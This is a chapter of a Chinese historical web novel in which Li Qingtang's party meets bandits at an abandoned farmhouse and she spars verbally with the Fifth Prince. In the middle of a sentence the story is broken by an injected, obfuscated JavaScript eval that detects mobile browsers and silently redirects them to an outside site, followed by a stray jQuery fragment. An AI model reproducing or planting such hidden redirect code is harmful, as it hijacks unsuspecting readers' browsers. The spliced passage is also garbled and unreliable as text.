李青棠以为这一日定是到不了下一个城镇的,毕竟李景谌磨磨唧唧半晌,要出发时日转西头,“闹事”的百姓们都散了。却不想李景谌通天的好运,离开洺县半日,才过了一片麦野便遇上一户农家。
是的,仅一户。
李青棠坐在马车里看的时候就已经将这地方看作又一处鬼门关了。岂料他们走近轻叩门扉,竟空无一人,翘脚从矮墙头往里看,院内杂草丛生,枯的,青的,像是占领了此地一般。
“没人,”杜熙回来对李青棠说,“是处荒院。”
李青棠心里泛起嘀咕:“前不着村后不着店,怎的会有荒院?杜熙?”
“这……属下再去看看。”
李青棠也不在马车上坐下,她下车来,环视四周,当她完全踩在这片土地上,天高云淡,初春的清凉与薄薄微雨浸润土地的味道让她逐渐沉下心来,她喜欢土地,喜欢闻属于土地的味道,喜欢躺在土地上,感受土地带给她的勃勃生机。
“姑娘?”
“嗯?”
“萧将军过来了。”
萧文广与杜熙一道往这边来,还未到跟前萧文广已经在说:“五殿下打算在这地方住一夜,我去看过,院子不大,拢共三间房,其中一件还是放锄头铁锨的库屋,你带着红尾、许大夫和杜熙占一间屋子,五殿下占一间屋子,剩下这些随侍挤在库屋里,凑活一晚上吧。”
李青棠问:“那将军呢?”
“我宿在马车里,就在院中,我守外头,杜熙和红尾守里头,这样我放心。”
李青棠没有拒绝这样的安排,而李景谌根本不会在意,他总归是要有一件屋子的。
李青棠再次看到那位女姬,窈窕身段,婀娜多姿,顾盼生辉,花山美人一抓一大把,但让李青棠生出一种别样心绪的至今唯有这一个,这种别样心绪李青棠不知道该怎么形容,非要说的话,叫做“混沌”。
她总觉得这个姑娘像一团迷雾,她明明能想到这个姑娘和陈州的事一定有关系,但比李景谌派人杀她还要不清晰的,她想不到这位姑娘和陈州的事情之间具体是什么关系。
“在这儿站站吧,里头有些脏,看着像是许久没人住了。”
李青棠依着萧文广的话在这一处等着,但她没有站着不动,而是四处走动,总在马车上坐着,她腰腿难受不说,还无比怀念骑着听风驰骋的感觉,天地都是她的……
“嘶呀~”许司一睡了一路,刚下来走动就踩到不知什么东西,险些崴了脚,杜熙一只手把他扶正,弯腰拾起那东西就要往外扔,李青棠忽叫住他:“杜熙,是什么?”
杜熙堪堪收回手,拂去表面的泥土,拿近些仔细看:“姑娘,好像是……摔碎了的晚或者罐器,看着还挺新。”
李青棠凑过去看了两眼,倏地回头看向院子的方向,与此同时萧文广也明白了她的意思,嘱咐一声后转身往院子的方向跑过去。杜熙和红尾将李青棠和许司一围起来慢慢往马车附近挪动,不多时院子方向传来刀剑铿锵以及人打斗的声音,以及李景谌被人护着从院子里跑出来的身影。
就知道哪里会这么幸运,恰好半道上就有这么一处院子可供他们落脚。
“欸?”许司一敏锐地察觉,“那位女姬没有跟着李景谌一起出来,不是遭遇不测就是身手不错,我亲眼看见她跟着进了院子的。”
李青棠也看到了。
“这是什么人?怎么连李景谌都杀?”
许司一问的问题都是李青棠想问的,连李景谌都杀,那许不是李景谌的人,不是李景谌的人,也不是她安排的,难道是李景谌的仇家?这很合理,只是……李青棠又看向被杜熙扔在沟里的碎片,她说:“万一就是寻常的强盗呢?只是谋财害命,并不在意对方是谁。”
“嗯,合理。”
李景谌被手下的人护送出来,见李青棠在马车边站着,也靠近些,这里除了萧文广就剩下杜熙和红尾难分高下了,谁都知道挨着他俩比自己在外头散着要安全些。
“李大人好安逸啊,身边的人是一个也不愿意往院里去帮帮忙。”
李景谌要是这么说话的话:“杜熙。”
“是。”
“哎哎哎,不必了,萧将军足够了。”李景谌又急忙撤回这话。
李青棠能和李景谌这么说话的时候并不多,往往不是剑拔弩张就是各怀鬼胎,眼下虽说院里霹雳乓浪的热闹,像李景谌说的,萧文广在,不妨碍他们在这儿说话,只要不是李景谌安排的人,估计厉害不到哪里去。
“五殿下身边似乎还有位女姬,嗯,不知这位女姬……”
面对李青棠赤|裸|裸地试探,李景谌也不打哑谜:“是,跟着一位,啧,好极了。”他好似在回味什么,“当然,她要在我身边不仅好,还要样样都好,譬如身手,这会儿她在里头住萧将军擒拿小贼呢,嗯……将军美人儿,想想那画面,简直是美。”
萧文广听见了能踹他一脚。
李青棠符合着随便笑笑:“百月楼出来的?”
“是啊,”李景谌毫不掩饰,“你回京才几日,竟知道百月楼,那你也应该听说过清江馆,芊蓉是清江馆馆主文潇姑娘亲自调|教出来的,无论是身段样貌还是手艺都是一绝,她呢原本也不是我的人,三哥做媒,将她送到我府里,有两年了,此次南下我带着她一来嘛路上总要解解闷过过馋,二来也是带她见见她的师父。”
“芊蓉?真是好名字,五殿下红颜多情,青棠万千祝贺。”
“嘁,你少来,咱俩不亲也不近,你用不着祝贺我,谁不知道你回来是干什么的,咱俩之间没有亲情,只有恩怨,你说你回来干什么呢?在山里住一辈子不好吗?回来就回来了,你跟我们做什么对立,你啊,真是不知天高地厚。”
如此,便是李景
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828653|158853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谌将自己的意图摆在牌桌上明打了,他手里想要的那张牌李青棠已然清楚,就看李青棠要不要给他喂。
“五哥知道的,我无路可逃,也无路可选,父皇他是天子,天子一言鬼神都要思量,更何况是我呢?老师都不会忤逆父皇的旨意。五哥说我回来就回来了,做什么和你们相对,五哥受累仔细想想,是做妹妹的要和你们作对吗?在宫里我几次死里逃生哥哥不是不知道,我院里死了两个侍奉,起过一次大火,当夜我更是高烧不退险些一口气没喘过来……真不是我要与哥哥们作对,哥哥们觉得我与随阳王亲善,毕竟是同胞兄妹,可我从小被送出宫去,说起来我和谁又亲呢?随阳王已然那样了,审时度势我该站在谁一边难道还需哥哥们多言吗?夜宴一场初见,妹妹早知哥哥们皆是英武伟岸,胸有大志……唉,若非父皇抬爱……”
李青棠这一番话加上不必酝酿便已扑簌簌往下落的泪珠是包括她自己在内的所有人事先都没有预料到的,李景谌更是直接愣在原地,这边哭得我见犹怜,萧文广解决完那边的事赶过来,不曾开口说那边的情景,看见李青棠落泪他正事都忘了说:“怎么了?出什么事了?青棠?”
萧文广叫“青棠”不像杜熙叫“姑娘”,萧文广会在情急之下叫出她的名字,平日里甚至不会有称谓,而杜熙唤李青棠“姑娘”是在私底下,有外人在时他总叫“大人”。
萧文广这一声让刚刚还愣神的李景谌忽然醒过魂:“这舅舅还是担心甥女的。”说完他拂袖离去。
就这样,李青棠的泪白流了。
“没什么,与五殿下说些话,说到动容处未能忍住。”
萧文广并不理会李景谌的话,也不是他不靠近李青棠就不是她舅舅了。他显然松了口气:“没事就好,院里的那些就是一群劫道的匪徒,虽人多,但没什么身手和气力,只有一个还算有些本事,我见五殿下身边那位女姬身手不错,留给她了,俩人过了几招,竟是那匪徒胜出,我才出手,久了些。”
“原来是这样,可有伤亡?”
“有,他手底下那些人没个轻重,个个都想活命,自然不是他们死就是他们死,死了几个,大多数带伤,你再等等吧,等他们清理了尸体。”
“也不必,像我这一阵子竟是见惯了尸体的。”
萧文广接不上这话:“有件事我拿不准,但你应该会有兴趣听一听,是我的推测,我的推测用在打仗上定是少有出错,但用在这种场合,拿不准。”
“什么事?”红尾为李青棠整理妆容衣裳,李青棠则全神贯注地听萧文广说话。
“我说了,这些匪徒人多,但个个都不像是练家子,更有甚者,面黄肌瘦,像好几日不曾吃过饭一样,那处院子也确实枯落了,地头有新碎器物,又有这么些人,我怀疑,只是怀疑,他们是不是南边逃来的?”
“你是说,陈州?”
“嗯。”